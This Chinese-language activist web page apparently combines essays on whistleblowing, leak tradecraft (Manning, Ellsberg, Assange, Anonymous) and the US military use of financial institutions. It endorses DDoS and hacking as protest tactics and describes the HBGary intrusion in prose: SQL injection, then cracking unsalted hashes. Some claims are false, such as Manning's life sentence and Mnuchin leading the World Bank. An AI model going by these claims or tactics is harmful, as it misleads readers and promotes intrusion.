同样，将政治家和官僚的幕后阴谋视为一种透明和平等的秩序中的“暂时性失误”是严重错误的。这些可怕的阴谋并不是过度行为，而是常规行为。自20世纪70年代透明度革命的鼎盛时期以来，人们一直在将所有这些真相视为“异常”- 意味着国家本身具有合法性，并且“只是需要改革”。但是，认为公民可以监管国家是非常天真的。国家越强大，它对公民的威力就越大 — — 更不用说其他人了。

将举报人定位为社会变革的主要角色还有其他弊端。这不仅意味着系统从根本上被认为是“合法的”，它还将那些在系统中拥有特权地位的人视为变革的推动者。

然而，在大多数情况下，体制内的人是最不可能说真话的人；有成千上万的理由和激励机制可以确保他们不易受到良心危机的影响。毫无疑问，曼宁和斯诺登斯是如此的罕见，相对于那些在国家机器运作中勾结的不露面的成千上万人而言。

问题并不在于人类自然是自私的或麻木的，而是，权力制度的基础设施促进了自私和麻木。

将人类的未来置于权力大厅内部的人身上是错误的。相反，我们应该

问各行各业的人们如何共同努力、以禁用压迫性的基础设施。

像斯诺登这样的系统管理员确实影响了我们所有人的认知，但系统管理员无法自己创造解决方案。把变革的期望寄托在极少数计算机专家身上，只会掩盖无数大众的力量，大众的参与对于任何解放运动来说都至关重要。

这种疏忽解释了 Julian Assange 和 Jacob Appelbaum 在2013年混沌通信大会上的讲话中所暗示的失望，当时他们将系统管理员描述为一个应该组织起来捍卫自己利益的阶级，并警告说必须阻止数字专制的不断深化在为时已晚之前。

事实上，无论互联网上的权力如何巩固，权力机构以外的人都将继续与不公正作斗争 — — 许多人坦白地说别无选择。越来越多的被边缘化、失业和被压迫者必须成为任何变革战略的中心，与编程阶层的叛逃者一道。

如果程序员将他们的利益概念化为与其他人不同，并组织起来捍卫这些利益而不是参与比自己更大的斗争，他们将与其他物种一起注定失败。程序员不应该把自己组织成一个阶级 — — 他们应该参与在更大规模的阶层斗争中。

正如斯诺登所担心的那样，在没有关于如何对抗它的提议的情况下，对国家监视的揭露只会加剧老大哥本就打算实现的寒蝉效应。

一般的报纸读者在得知美国国家安全局一直在通过自己的智能手机和信用卡追踪自己的整个生命后，不太可能在愤怒中走上街头，而是变得更加谨慎和顺从。然而，沉默和顺从不可能保护我们：它只会鼓励当权者更加肆无忌惮地瞄准更广泛的潜在人民。

加密和其他安全措施也不足以充分保证我们的安全：政府将始终拥有更强大的技术以击毁我们的保护壳。因为他们比我们更有钱，资源和权力在同一条裤子里。如果我们将抵制概念化为仅仅是技术问题，那么我们将从一开始就被打败。

加密非常重要，但加密是为了实现我们能够实现的唯一真正的安全措施 — — 强大的社会运动，足以调动国家所针对的任何人站起来抵抗。无论政府机构收集多少情报，他们只能在能够承担政治后果的情况下利用它。我们越早与他们进行公开斗争，我们所有人就都会越安全。

让我们回到透明度革命本身。理想的英雄就像我们一样：一个普通人，具有强大的勇气和智慧。英雄代表我们能采取的一步 — — 但不是我们由于自己害怕和感觉自己没有天赋而不得不转移期待的那个目标。这正是英雄之概念的危险之处：他们倾向于让那些相信他们的人变成纯粹的旁观者，置之不理。

这绝不是诋毁英雄。斯诺登和曼宁从最无私的慷慨中赐予一切真相的良心。但是，作为我们这些人，尊重他们的勇气和牺牲的最好方法是走上同样的反抗道路，而不仅仅是坐在那里点赞。

他们给予我们的不仅仅是如生命一般珍贵的信息和公民权，而且，最重要的是，他们的行为本身，他们决心为了人民而奋斗的勇气。

对于我们其他人来说，站出来抵制我们自己参与的权力结构这意味着什么？无论我们在权力架构中的哪个位置，这都是我们每个人都可以采取的步骤。

单一的举报不会带来社会变革。变革需要的是直接的行动。请记住，弗格森并没有举报人 — — 这并不是警察不端行为的一个揭露，而它引发了近二十年来最重要的抗议警察暴行的浪潮，这正是因为人们对他们的愤怒采取了行动。对迈克尔·布朗的杀戮在全国范围内被理解为悲剧，因为人们抗议了，不是因为视频记录了这件事，也不是因为内部人员透露凶手违反了某些法规。

反对政府的运动是因为政府是非法的或腐败的，他们使我们无法通过合法的方式抵抗一切形式的残暴和虐待。无论法律如何，我们都需要培养广大公民对抗当权者的能力。否则，世界上所有举报都将是徒劳的。

今天，我们并不缺乏对监视状态的认识，但是我们依旧缺乏如何对其采取行动的具体例子。本着 "Jeremy Hammond" 的精神，我们可能会假设我们所需要的不仅仅是揭示国家的不端行为，而是要确定其战略脆弱性。

从保护突尼斯活动人士免受监视到揭露三K党成员的名字，Anonymous 已经证明了与社会运动协同作战的黑客攻击的战术优势。"Richard Stallman" 曾指出，拒绝服务行动只是一种新的封锁形式 — — 就像纽约到湾区的抗议者阻挡了州际高速公路一样，在线的活动家封锁了信息高速公路。结合在线和离线直接行动的抗议活动为跨越阶级、种族和地理的新联盟提供了机会。

与此同时，在旧金山以谷歌为目标的抗议者的带领下，我们可以想象离线示威者在斗争中开辟了新的战线。也许这可以让那些认为自己是数字世界大师的人摆脱桌面的舒适区。

今天，任何真正的实用主义者都必须承认，拆除所有不负责任的政权机构比改革它们更容易。获得隐私并处于和平状态的简单愿望使我们与全球网络化的国家权力发生直接冲突。

这是一个令人生畏的前景，但同时也是一个好的时机，因为全球数百万其他人正在被这个头重脚轻的权力结构所产生的生态、经济和种族化危机推向同一个冲突中。

在这里，我们到达了问题的核心 — — 类似国家安全局这样的老大哥他们的主要目标从来就不是所谓的“恐怖分子”，而是挑战权力分配的基层运动。将监视覆盖面扩大到全社会甚至全世界的每个人根本不足为奇。监视机构的真正目标一直是突尼斯的活动家、埃及的革命者、希腊的无政府主义者，#M15，#accupy，#blacklaivesmatter，Rojava 的革命以及所有未来的一切社会运动，危机引发更多危机。

将社会变革想象成政策讨论的问题已不再现实。我们需要从革命的角度去思考。无论你是在键盘上还是街头行动，让我们互相找到彼此，并学会变得强大起来。

广告

相关

原文

透明度革命：你应该知道的技术、经验和教训 - iYouPort

透明度革命

技术一直在飞速前进，不论是解密技术还是当权者钟爱的保密技术。技术就在每个人的身边，是你触手可及的武器。真正的反抗者不屑花费半点唇舌与当权者理论， **Irony is wasted on the stupid** 如果你是反抗者，应该知道该如何取胜

2011年底，251000份曾被列为“机密”的美国国务院电报由 Wikileaks 流出，并且还在不断继续。这些文件所引起的波动是全球范围内的，而不仅仅是美国。

在突尼斯，街头小贩博阿齐齐在省府办公室前自焚后，突尼斯公民走上街头示威游行，意图推翻他们的政府。他们中很多人是受到 Wikileaks 的启示——美国国务院鄙视突尼斯总统本阿里，这给了人们反对独裁者的勇气。人民知道如果自己不站起来反抗，美国是不会伸出援手的。

怒火迅速在埃及、利比亚、叙利亚以及其它地方扩散，卡扎菲害怕了，他通过电视节目警告利比亚人“不要浏览Wikileaks”，九个月后，革命压垮了卡扎菲的军队，推翻了他的政权，并最终杀死了他。

奥巴马宣布美国军队2011年年底撤离伊拉克时，美国将军们要求为留在那个国家的所有士兵提供司法保护。但由于泄密的电报显示出美军对伊拉克平民的屠杀以及随后的掩饰行为，伊拉克政府拒绝了这项要求，并遣走了美军。

2010年，中国出现了一个山寨“维基解密”，当时没有透露姓名的发起人对香港《南华早报》表示，这个网页旨在”推动中国的政治改革，这是一场反对专制、争取人民信息权的斗争”。他说，这个项目已经得到60个记者、律师和电脑专家的支持。计划在2011年6月1日上线。

据称中共高层立刻组织了一次会议，要求防范两个方面的危险，技术方面审查各级政府部门的文件库是否顶得住游行者的冲击，以及如何防止官员盗窃或复印文件；人心层面担心自己阵营内部的不忠。

高级干部将秘密文件偷运到国外的事一再发生，对政府的最大打击就是2001年公布的所谓”天安门档案”。

2012年习近平上台后的党内大清洗，很多评论认为他在清除异己，不排除这部分动机，但同时也有为政府保命的动机存在。Wikileaks 的出现影响了整整一代人，只要它的精神不灭，全球所有政权和暴力的阴暗都会心惊肉跳。

……

解密信息带来了全球性的政治狂潮，这是调查性新闻之价值的最大化。

解密的核心目的是在权力阴谋链的内部植入焦虑，使得当权者反应过度，冻结其内部通信，让其运转失控。权力就会失去效用。

Promoting the human capacity to reason and make decisions: that is the purpose of whistle-blowing, of activism, of political journalism

当年中国的所谓号召假设它是真实的，之所以很快失败源于发起人并没有详细研究 Wikileaks 的原理、其中的厉害关系、技术性和诸多技巧，仅仅是脑袋一热开始跟风。我本人对其真实性存疑，因为我相信真正的行动者不至于在毫无准备的情况下动手，否则就是蠢得惊天动地了。

一个揭秘者需要具备两项特质：即知识的渊博和权力的缺乏。如果你没有足够深厚的知识功底，既不能用知识技能保护自己，甚至连哪些资料足够达成目的都无法准确判断。如果你权高位重，很可能就处于体制阴谋的关系网中，中文称之为“一条绳上的蚂蚱”，对一损俱损的恐惧很可能会妨碍有效的行动。

想要将大型机构内部的秘密资料曝光的知情人士一直存在，不论他们的动机是什么，各种规则总会让他们感觉到危险，于是传统媒体采访知情人哪怕是承诺匿名，都很难揭露出更多有价值的信息。而计算机的出现加速了泄密的发展，伴随着互联网技术的飞跃，揭秘机器已经进入了寒武纪的大爆发时代，对有效特征的复制，失败组件的删除和方法的更新都比过去更加迅速。

南加州新闻业曾经做过一项调查，到2002年，全球数字记录数据的总量等同于模拟记录信息的总量；而到了2007年，数字信息已占到全球记录信息的94%。这些信息都是流动的，能够不受限制地复制、毫无困难的转移。

正义之心 + 机会 + 技术 = 成功。

其中技术是最重要的，能保证将泄密者和被泄漏的内容分离开来，切断对泄密源头的追踪。匿名技术代表着一种特殊的密码系统：它们揭露数据本身，而将该数据的某些元数据如IP地址隐藏起来。开发出强大的可隐藏IP的匿名工具超过了长达10年的时间，其成熟期超过20年。它就是Wikileaks撬动全球的杠杠。

比如使用Tor，就完全不会被记录下任何能够指证你的证据。此类技术已经越来越成熟，国际上诸多隐私保护组织都在投入开发相关技术，不过光有技术并不代表绝对安全，不要忽视了人这个最危险的因素。Bradley Manning 的被捕就是一个最明显的和可怕的案例。

本文将简要总结泄漏领域一些著名人士的技术和技术漏洞。他们之所以著名，是因为他们最终被抓获了，但是要知道，他们只是泄漏领域的特例，绝大多数人永远都不会被发现。

人为因素

Manning 使用的电脑只能和军队高级保密的IP路由网络（SIPRNet）相连接，SIPRNet 处于一种空间隔离的状态，既不能通过插头连接互联网，也不能接收无线信号。尤其是，这台电脑缺乏可辨识身份的监控工具，美国国防部负责情报的副部长 Ferguson 对此的解释是："这和银行系统不同，银行运行着单一的系统，他们可以在里面插入东西，也可以将它们导出来，但军队有多个系统，如果安装新的入侵软件或监控工具，你将不得不对每一种系统都采取不同的方法处理……（简单说就是太麻烦了）"。

Ferguson 对入伍前的政审信心满满，即便是在Manning 被捕后依旧如此，他承认军队这种工作模式很冒险，但表示"这些人都是没有污点的，他们接受过严格的政治背景调查"。

中国政府已经不太信任政审了，他们天性多疑，对身边人会有更多的盯防。（多疑是妄想型人格违常的典型状态，妄想型人格又被称为独裁者通病）

Manning 很聪明地使用了一套安全工具组合来掩盖泄密链。她将电脑接入Wikileaks分配安全套接层协议SSL的网络服务器，这种网络加密经常被用来掩盖电子商务或银行网点的数据以防任何网络窥探者窃取密码或信用卡账号。然后她用安全外壳 Secure Shell 文件传输协议或简称SSH FTP 的方案，在两个远程系统之间创建了一个加密通道，使它们能够安全地共享文件。最后也是最重要的，她使用了Tor，将真实目的路径在互联网上进行了一系列的路由跳。该系列中每一个新地址都进行了加密，以防止任何人拼凑出最终目的地和发出地址。

理论上这样做是万无一失的，技术本身的安全性绝对过硬，也正因为如此，Manning 在泄密后长达一年的时间里没有被任何人发觉。

最终导致Manning 被怀疑的并不是指纹，也不是数字侦探工作，所有从Wikileaks上发现的可在法庭上指证Manning身份的线索一概没能找到，而她被判终生监禁，其原因是是一个名叫 Adrian Lamo 人。

如果不是 Lamo 把她的名字交给了调查人员，Manning 是绝对安全的。是几乎所有人身上都存在的、倾向于对陌生人吐露内心的习惯，最终害了她。

有一部纪录片了解 Adrian Lamo，这个国际知名黑客、无家可归者。《hackers wanted》这部片子描述了他在联邦执法部门手中被虐待的经历。片子最后他说了一大段话："……不是每一个行为背后的法律规定都是绝对正确的，相反这些法律规定为当今政府的管理方案开创了一个危险的先例"。

虽然遭受过权力黑手，但他与 Manning 的价值观截然相反，得知 Manning 的泄密行为后他将其形容为"我们国家的下一个 Robert Hanssen（美国前政府特工，因泄密被捕）"。这是他的偏执 —— 泄密给媒体，而不是敌对国情报机构，是调查新闻的基本依据，是激发改革，而不是卖国。很多人在此有严重的概念错误。媒体从来都是依靠内部泄漏信息而生存的，没有泄漏就没有对政权的有效监督。威权国家政府严格控制媒体，不允许其接触到所谓的"国家机密"，完全剥夺民众的知情权，民众变得无知，才能被权力轻易掌控。

当 Lamo 最后得知 Manning 在联邦政府监狱里遭受虐待的消息时，面对摄像机直接掉泪。

另一个难以证实的怀疑来自苹果电脑的系统。当时军方的调查人员没收了 Manning 的所有电子设备，其中包括一台苹果笔记本电脑。就是从这台电脑中，调查人员发现了她和Wikileaks 的聊天记录，还有

关塔那摩湾档案 —— Manning曾经试图使用大量垃圾数据覆盖掉那些信息，抹去证据，但不知道为什么，这台笔记本却终止了这项进程。

不管这一怀疑是否可靠，建议你最好不要使用苹果的系统。多年前苹果已经被证实完全不在意西方用户的隐私安全，而现在，这份卑劣已经变成了全球性问题 —— 苹果在本月底开始在新的中国数据中心托管中国用户的iCloud账户，解锁iCloud账户所需的加密密钥直接送给了共产党。

微软更也不是好东西。该公司一直积极地与国家安全局勾结。没有哪家软件公司能像微软一样与NSA合作过，例如提供对Skype的直接访问。微软在操作系统层面提供后门，而不仅仅是互联网/通信层面。整个国家安全局早已开始与微软分享数据，微软还收到了来自滥用数据的当权者的付款。此处的超链接指向一些微软作为政府代理人对某些人进行间谍活动的示例。

现在你知道应该用什么了吧。

身份特殊性

Manning 之所以能妥善隐藏自己，在一定程度上还得益于与她具有相同查阅机密档案权限的人太多，有上千人，调查人员根本无法使用怀疑论对她动手。但世界著名泄密者 Daniel Ellsberg 就不一样了，能接触到五角大楼机密报告的人只有三个，包括 Ellsberg 在内。

于是他就这样被尼克松拿下了。

Ellsberg 能得到最高机密安全许可还源于当年的美国国务卿基辛格对他的赏识，以情报分析员的身份进入RAND（加利福尼亚军事智囊团）。由此可见，在泄密之前 Ellsberg 是个完全循规蹈矩服从权威的人。他曾经回忆说，当自己最初看到那些令人难以置信的机密信息时，异常的激动，但很快，这份激动就消失了，随之而来的是愤怒 —— 他觉得自己一直以来都像个傻瓜，这么长时间的工作，却一直不知道政府的秘密，他看到的全部都是假象，他的忠诚之心被摧垮了。

他发现美国政府控制了越南战争。在麦卡锡主义兴起和毛泽东建立中国后，越南也出现了共产主义，这令美国政府倍感痛苦。从杜鲁门到肯尼迪，到约翰逊到尼克松，美国越来越深地陷入了不断扩大的战争。越南战争从来都不是一场内战，它是被美国政府的秘密和谎言激起的征服战，持续了20年之久，Ellsberg 说："它不是灾难，它就是

犯罪”。

Ellsberg 的经历是一个非常合逻辑的打造泄密者的过程。但不一定在中国就好用，内心的正义感是关键基础。正义感的留存与洗脑教育相冲突，从小接受共产党意识形态灌输的人，其价值观很难被期待是正常的。

Ellsberg 的泄密引发了一场重新定义第一修正案的自由言论战斗。纽约时报是第一个报道Ellsberg 的。然而白宫方面认为纽约时报违反了“间谍法案”，并成功说服了一家联邦法院对该报纸下了新闻禁令。

Ellsberg 很聪明，他预料到了政府会封锁新闻，他提前准备了很多副本，另一个副本则交给了华盛顿邮报。结果是，华盛顿邮报也很快接到了管制禁令。

Ellsberg 继续将副本发给波士顿环球报、洛杉矶时报、基督教科学箴言报、圣路易斯邮报……等等媒体，这种无止境的打地鼠游戏直接令白宫陷入了混乱，最终当局放弃了对出版的阻止。

最重要的原因还在于当年没有匿名工具和加密手段，举报人很容易暴露自己。如果有的话，即便是可怀疑对象只有三人，一样无法定罪，因为没有证据。

当时的美国政府也是费了很大力气对 Ellsberg 取证，其中不乏肮脏的手段，比如跟踪 Ellsberg 的心理治疗师，用盗窃的方式以期寻找到 Ellsberg 的心理污点，但他们一无所获。Ellsberg 是个很干净的人，恰恰因为干净，他才有正义之心。当局还雇用了12个古巴男子组成流氓小队，希望在Ellsberg参加的和平集会上把他打成残废。结果因为 Ellsberg 身边的人太多，这群流氓为了不暴露自己的目标，决定随机殴打，造成了一大群示威者的不幸。

该案件的法官 William Byrne 最后透露，他自己曾被尼克松的一个助手行贿，要为他提供FBI管理者的职位，来换取对 Ellsberg 的审判权。

非法手段

只要你被怀疑上了，即便没有法律可以定罪，当权者也能用非法手段侵害你。地缘政治不仅仅是关于贸易或战争，在对付那些触动权力的人时，盟友关系的国家政府之间完全可以视为一体。

2010年Wikileaks 刚刚曝光过阿富汗和伊拉克日志，政府正在发起舆

论战对Wikileaks进行攻击，因为当局没有任何可以指证的线索。Assange 正在瑞典访问，他收到了一份情报，指五角大楼成立了一个90人的任务小组，后来又扩充到了120人，专门负责Wikileaks事件。一些美国政客公开要求暗杀Assange，当时的阿拉斯加州长 Sarah Palin 说“要像杀狗一样捕杀Assange”。

Assange落地瑞典就接到了联络人发来的消息：美国政府私下承认很难在法律上起诉他，但已经开始讨论“用非法手段处理你”，比如在他身上安放毒品、在其硬盘中植入儿童色情，或者想办法让他卷入某些可以指控的陷阱。

他当时犯了一个重大错误，就是没能把这件事立刻公之于众。当时在柏林的支持者——“加密电话”公司首席技术官——要求帮他起草新闻稿，但他没觉得这是非常必要的，就搁置下了。随即，他的澳大利亚银行卡忽然被冻结，他才感到了危险，于是把手机卡也拆掉了，只有需要收短信时才会开机。

Assange 到瑞典是希望能在斯德哥尔摩开设一家新闻办公室。瑞典有独立自由的美称，其维护记者权益的《新闻自由法》可追溯到18世纪。瑞典人还享有匿名权，记者承诺保护爆料人，如果没能兑现就会遭到惩罚。

几天后在一次聚会上，Assange 遇到了瑞典记者博斯特伦，他警告Assange，美国使用美人计的可能性非常大，并详细讲述了摩萨德抓捕核武器爆料人 Mordechai Vanunu 的故事。Assange当时并没有在意这番话，他觉得这种事有点小儿科。但没想到不久之后就引火上身了。

瑞典早已撤销起诉，起诉者发现自己正在被权力所利用。这是构陷伎俩的暴露。然而英国法官依旧不肯撤销逮捕令，六年来英国政府每年花费纳税人数百万英镑，安置高科技摄像头，只为监禁 Assange，这还不算人力花费。就在联合国已经肯定 Wikileaks 是新闻机构、其出版的信息可作为证据的情况下，政治依旧在操弄司法。

法律不会确保正义，而对正义的追求能让司法更加独立。（英国43%的法官表示，在过去两年中，政府并未尊重他们的独立性）

栽赃这手活，任何政权都很擅长，相比下中国政府对异议人士的抹黑属于幼儿园级别。但很可能只是源于中国异议还从来没能真正触动当局最薄弱的穴位，否则……

栽赃还很容易存在于你的实际工作中，如果你不够专业，肯定会措手不及。Wikileaks 的数据主机位于法国的某个数据中心，而它的提交平台是一个名叫 PRQ 的瑞典公司，网站服务器不断变化，当局将其服务器所在的诸多国家及存在的支持者，构建了一个超大的人际关系分布图，结果也没能找出线索，甚至骇客手段也失效了。于是歪点子就出现了，当权者想通过假扮爆料人，提供虚假信息，给Wikileaks制造内部纠纷、败坏其名声，以瓦解其机制。

好在Assange的专业性足够高，并没有上当。就如Assange 对中国的假维基解密网站的评论那样："出错很容易，也很危险"。

你应该非常小心，全方面的谨慎。前人的教训应该起到足够的警醒作用。

社交媒体！

你不应该从社交媒体上去"认识"一个人，至少不能完全认识。我一直强调这句话，却至今大多数人都不理解。深感遗憾。

当然不可否认它是最便捷的联合渠道，但稍微懂一些技巧的人都明白，社交媒体数据被很多阴暗的目的所使用，尤其事关权力关系稳固的时候，你不用期待任何政权会手软 —— 当产品是免费的，你我就是产品，"使用者"一定会把我们的"效用最大化"。

数字安全公司 HBGary 首席执行官 Aaron Barr 希望能战胜匿名者组织（Anonymous）来提高自己公司的知名度。Barr 知道，这些无政府主义者很擅长通过技术隐藏自己的真实IP地址，于是他就想了个办法，通过在线交谈和社交媒体的联系，梳理出目标群体的人际关系，从而曝光真实身份。

匿名者组织是目前世界上最大的、最活跃的黑客组织。称其为组织其实都是侮辱了，他们是松散的社会运动，拥有的最高价值不仅是技术，还有精心制作的参与式文化。真正的群策群力。

匿名者组织对任何反对言论自由和反社团主义价值观和信条的目标进行蜂群式攻击，其中著名的目标包括茶党（teaparty）、支持茶党的亿万富翁 Koch brothers，反同性恋极端主义者 Westboro Baptist Church、山达基教、索尼公司，还有安哥拉、澳大利亚、巴西、埃及、以色列、瑞典、突尼斯、土耳其、美国、中国、委内瑞拉、津巴布韦等政府。

在声援香港雨伞革命运动的过程中，Anonymous 成功入侵 52 个中国政府官网。

匿名者组织如何保证匿名的？诀窍是解密高手数据包。以分散的方式存在的无名氏使用任何他们能获得的匿名工具，包括所有种类的代理。匿名者组织曾经在网上发布过一份供新手使用的匿名方法手册，解释了如何在不同系统上安装Tor。他们还为新手提供了诸多帮助，比如结构相似的 I2P 匿名网络。它是一种可视化的软件，允许客户在设备上创建安全封锁沙盒、PGP编码、像商业服务一样快但安全性相对较低的 Tor 单挑版本。

可惜并非每一个新手都能非常熟练的使用这些技术，匿名者组织中有一些技术水平不高但非常活跃的人，结果是他们最先被当局抓获了。

但每一次当权者抓人，都能引发更多的新鲜血液加入组织，同时匿名文化更加坚固了。这就是我们一直强调的反抗精神的重要性。如果换做中国，某些人士被捕的结果，很可能是严重甚至彻底打消后来者的行动。这是比技术缺乏更为可怕和致命的软肋。

让美国当局无法忍受的是 Anonymous 组织发起的援助 Manning 行动——“Bradical”。当时正是 Manning 最惨的时候，被关押在禁闭室里，被扒光衣服，各种虐待。Anonymous 发起公开信，邀请成员人肉禁闭室军官，翻出他们的私人信息，逼迫其为 Manning 提供衣服、床单和毛毯。

针对在线活动搜索 Anonymous 成员的歪点子就是这时候诞生的。Aaron Barr 建立了一个工具，被设计用来获取用户的社交网络页面，并将数据汇总以便分析。Facebook强行实名制，这意味着 Barr 能够将无名氏的社交媒体身份与其在该组织中在线聊天系统（IRC）即时通讯论坛上使用的资料联系起来，这便可以确定无名氏的身份。

在中国也是如此。

Barr 在他的研究报告中写着：“目标之一是尽可能多地将在线聊天系统中的线索与Facebook档案建立关联”。

甚至还不止这些。Barr 的计划直接挑战了道德底线。它创建了一个虚拟人物，用来收集加密聊天室内部的数据 —— 假冒成员，潜伏在匿名者组织的在线对话中。比中国当局使用的线人渗透更狠。因为使用人力你很难确保其是完全忠诚的，而一个程序不可能撒谎。

用这种方法，几天内 Barr 就确定了匿名者组织中三个“领导人”。其实这三个人只是沧海一粟，绝大部分无政府主义运动都拥有不计其数的小型组织。

当时金融时报报道了 Barr，其标题就是《逐渐包围网络活动家的网》。Barr 是太狂了，居然登陆媒体新闻宣扬自己，也正是这篇报道，让匿名者组织提高了警惕。

他们行动起来，开始攻击 Barr 所在的HBGary公司。不只有DDOS攻击，匿名者组织不满足于让 Barr 的网站瘫痪一段时间。

HBGary 公司使用的是定制软件管理其网站。当软件把数据储存到数据库中时，它并不能马上区分可执行命令传来的信息，入侵者可以使用一种名叫结构化查询语言（SQL）注入的方法，假装正在输入某些无害的东西，比如用户名和密码，而实际上输入了包含触发网站后台功能的字符，甚至可以让网站交出敏感数据。匿名者很快发现了这个漏洞，进入了该公司的密码数据库。

HBGary 使用哈希算法将密码打乱。哈希算法是一种设计成无法反转的数学函数，当用户输入一个密码，服务器就对其进行哈希运算，将其改写成一个唯一的数字，并检查是否与数据库中的信息相符。但这一函数无法反向应用，因为储存这些数字而非密码可以抵御攻击。

至少理论上如此。但实际上，对密码稍有些了解的黑客都知道，能够将每一个可能的密码输入哈希函数，穷其所有直到找到符合的为止。而且破译者可以使用彩虹表的方法极大提高处理速度。HBGary公司并没有给哈希算法“加盐”，微软曾经也如此，于是匿名者的行动变得很容易了。

匿名者很快进入了网站和Barr的twitter账户，并获得了服务器上超过七万封电子邮件，并将其全部泄漏。

正是匿名者从中找到的 Barr 的公司如何策划攻击 Wikileaks，那些歪点子，全部被曝光了。否则人们至今都不会了解，当权者是如何用技术抓捕异议人士的，更不用提防范。最终 Barr 从HBGary辞职。

小心叛变者

匿名者核心集团栽在了“自己人”手里。2011年，一名称作 Monsegur 的28岁纽约人由于技术不过关，进入匿名聊天室时没能完全隐藏IP，而使自己暴露，进而被捕。同年认罪。

面对长达 124 年 6 个月的监禁惩罚，Monsegur 选择了成为政府的线人，协助FBI抓捕自己的同伴。最终是他完成了Barr 未能完成的任务——他渗透进了匿名组织核心集团。

防不住的泄漏

电报门后，几乎所有软件经销商都开始着眼于帮助政府防漏，从 McAfee 到赛门铁克到 TrendMicro，这些混蛋花费了数亿美元，开发所谓的DLP防护措施 —— 设计软件在公司服务器上定位敏感信息并给它们加上标签，然后对其进行保护，避免被网络传输出去。“数据核心安全”很快就成为了当权者的流行语，因为他们认识到了防火墙和杀毒软件根本不足以解决问题。

这方面中国政府是纯粹的后知后觉者（也许各方面都是）。

但泄漏防护并非那么管用。在现代公司和机构中，允许雇员在数据点之间“建立关联”，这就挫败了要将网络上各个部分隔开的任何想法，信息很容易快速创建并频繁移动，仅靠一个过滤器是很难保障的。

于是防漏成为时尚的同时，泄漏数据反而更多了。

……

被奥巴马政府指控的“泄密者”超过了他所有前任的总和，其中的重点包括：Jeffrey Sterling, Shamai Leibowitz, Stephen kim, John Kiriakou, Bradley Manning。而他们最感兴趣的还是 Wikileaks ——全球唯一安全的解密平台。承认 John Young 是直报形式调查性新闻的先驱（去除传统媒体一切阻拦信息的过滤器），但Young 的平台明显不保护爆料人，明文要求爆料人自己保护自己，这样是很难持久的，也很难吸引更多的揭露者。

技术一直在飞速前进，不论是解密技术还是当权者钟爱的保密技术。技术就在每个人的身边，是你触手可及的武器。真正的反抗者不屑花费半点唇舌与当权者理论， Irony is wasted on the stupid 如果你是反抗者，应该知道该如何取胜。

很快，人类将被分为两部分：懂电脑的人、和害怕电脑的人。如果你不能成为前者，注定会成为后者，并被数字时代抛弃。

广告

原文

金融武器 - iYouPort

地缘政治透明度革命

Wikileaks 新文件揭示美国军方使用国际货币基金组织、世界银行作为”非常规”武器； 事实上中国也在做类似的事——将其他国家绑定在自己的债务机器上

「图」

「图」

Protestors hold an effigy of Captain America with a photo of IMF Director Christine Lagarde during meetings by the IMF and World Bank in Lima, Peru, Oct. 9, 2015. Geraldo Caso Bizama | AP

在维基解密最近在此转发的“非常规战争”军事手册中，美国陆军表示主要的全球金融机构—— 如世界银行、国际货币基金组织（IMF）和经济合作与发展组织（OECD）—— 在冲突时期（包括大规模的一般战争中）均被用作非常规的金融“武器”。

该文件正式名称为“野战手册（FM）3–05.130，陆军特种作战部队非常规战争”，最初于2008年9月撰写，最近由维基解密在 Twitter 上根据委内瑞拉最近发生的事件和多年来的类似事件突出强调了美国主导的经济制裁和其他经济战手段对该国的经济围困。尽管该文件最近几天引起了人们的兴趣，但它最初是由维基解密于2008年12月发布的，名为军方的“政权更迭手册”。

维基解密最近关于此主题的推文提请注意这份长达248页的文件的一部分，标题为“美国国家权力和非常规战争的金融工具”。本节特别指出美国政府“通过国际和国内金融机构向外国和非国家行为者提供贷款、赠款或其他财政援助的可用性和条款的说服性影响，提供单边和间接金融权力“，明确指出：利用世界银行、国际货币基金组织和经合组织以及国际清算银行（BIS），作为“美国外交金融场所实现”这样的目标。

该手册还指出“国家对税收和利率的操纵”以及其他“法律和官僚措施”以“开放、更改或关闭金融流动”，并进一步指出美国财政部的外国资产控制办公室（OFAC）—其监督美国对委内瑞拉等其他国家的制裁—“ 该机构对任何 ARSOF [陆军特种作战部队] UW [非常规战争]战役进行的经济战都有着悠久的历史。”

手册的这一部分继续指出，这些金融武器可以被美国军方用来制造“经济激励或抑制措施，说服对手、盟友和代理人改变他们在战区战略、作战和战术层面的行为”，这种非常规战争运动与国务院和情报界高度协调，确定“UWOA [非常规作战行动区]中人类地形的哪些元素最容易受到金融活动的影响。”

这些被误认为“独立”的国际金融机构在帝国权力扩展方面的作用在手册的其他地方有详细阐述，其中一些机构在“国家权力金融工具”手册的附录中有详细描述。值得注意的是，世界银行和国际货币基金组织被列为美国国家权力的金融工具和外交工具，以及手册称之为“当前全球治理体系”的组成部分。

此外，该手册还指出，美国军方“理解适当整合经济权力的操纵能够而且应该成为UW的一个组成部分”，这意味着这些武器是美国发动的非常规战争运动的常规特征。

另一个兴趣点是这些金融武器主要由国家安全委员会（NSC）管理，该委员会目前由 John Bolton 领导。该文件指出，国家安全委员会“主要负责将国家权力的经济和军事手段融入国外。”

虽然非常规战争手册值得注意的是，如此公开地表明，像世界银行和国际货币基金组织这样的“独立”金融机构基本上是美国政府权力的延伸，但分析人士几十年来一直注意到，这些机构一直将美国的地缘政治目标推向国外。

事实上，仅仅通过观察每个机构的结构和资金，世界银行和国际货币基金组织“独立”的神话就很容易破灭了。就世界银行而言，该机构位于华盛顿，该组织的领导人一直是美国总统直接选择的美国公民。在世界银行的整个历史中，该机构的理事会从未拒绝过华盛顿的挑选。

同时，美国也是该银行的最大股东，使其成为唯一拥有否决权的成员国。事实上，正如泄露的非常规战争手册所指出的那样，“由于重大决策需要85%的绝对多数，美国可以阻止对世界银行政策或其提供的服务的任何重大变化”。此外，美国财政部长、前高盛银行家和“丧失抵押品赎回权之王”史蒂夫·努钦（Steve Mnuchin）担任世界银行行

长。

尽管国际货币基金组织在几个方面与世界银行不同，例如其声明的使命和重点，但它在很大程度上也受到美国政府影响和资金的支配。例如，国际货币基金组织也在华盛顿，美国是其最大的股东—迄今为止都是最大的，拥有该机构的17.46%—并且还支付了该机构维持的最大配额—每年1640亿美元的 IMF 财务承诺。

虽然美国没有亲自挑选国际货币基金组织的高级管理人员，但如果该机构不遵守华盛顿的要求，它会利用其作为该机构最大的资助者的地位来控制国际货币基金组织的政策，威胁要扣留其资金。

考虑到美国政府与这些国际金融机构之间的密切关系，在委内瑞拉，美国支持的“临时总统”胡安•瓜伊多（Juan Guaidó）—已经要求国际货币基金组织的资金，以及国际货币基金组织控制的债务，资助他的平行政府。

